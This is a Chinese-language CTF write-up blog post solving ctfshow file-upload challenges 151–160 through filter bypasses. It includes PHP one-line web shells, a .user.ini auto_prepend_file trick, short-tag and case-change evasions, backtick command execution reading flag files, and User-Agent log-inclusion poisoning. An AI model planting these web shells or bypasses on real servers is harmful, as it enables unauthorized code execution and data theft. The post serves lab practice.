ctfshow入门之文件上传

151-152

传一个后缀为png的一句话,bp抓包改后缀 蚁剑连接即可

153

传了后缀为.php5的一句话 发现能成功上传但是 无法解析

在这里插入图片描述

看看大佬的wp,学了新姿势

前置知识

.user.ini的妙用

解题步骤

尝试上传.user.ini,发现上传成功
在这里插入图片描述

文件内容:

1
2
GIF89
auto_prepend_file = 1.php

然后上传一张图片马,1.php
文件内容:

1
2
3
<?php
@eval($_POST['flag']);
?>

然后访问 /upload

payload:

1
flag=system('cat ../f*');

154

上传后缀为png的一句话发现文件内容不符合条件

发现是php这个字符串不能出现

于是pHp 大写成功绕过

然后跟上一题一样的解法 蚁剑连接

在这里插入图片描述

得到flag

155

大写绕过不行了

尝试使用短标签绕过
对于php的标签其他写法有四种

1、前提是开启配置参数short_open_tags=on

1
<? echo '123';?>

2、 不需要开启参数设置

1
<?=(表达式)?>  等价于 <?php echo (表达式)?>

3、前提是开启配置参数asp_tags=on,经过测试发现7.0及以上修改完之后也不能使用,而是报500错误,但是7.0以下版本在修改完配置后就可以使用了。

1
<% echo '123';%>

4、不需要修改参数开关,但是只能在7.0以下可用。
对于该题,我们可用使用<?=(表达式)?>进行绕过,图片内容 <?=eval($_POST[flag]);?>
剩下的步骤同153

1
<script language="php">echo '123'; </script>

156

在前面的基础上过滤了 []那我们直接用{}来代替
图片马内容

1
<?=eval($_POST{1});?>

157-159

直接将图片内容换成这个。。。算是投机取巧的方法吧 毕竟知道flag在哪里

1
2
3
aa.png

<?=`tac ../f*`?>

160

使用 日志包含

过滤了括号反引号还有一些关键字
利用日志包含绕过,图片内容因为log被过滤了。所以用拼接绕过
上传完.user.ini和图片后
访问网站然后修改ua头信息

在这里插入图片描述

接着访问/upload目录 就可

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!

扫一扫,分享到微信

微信分享二维码
  • Copyrights © 2021-2023 Wh1tecell
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~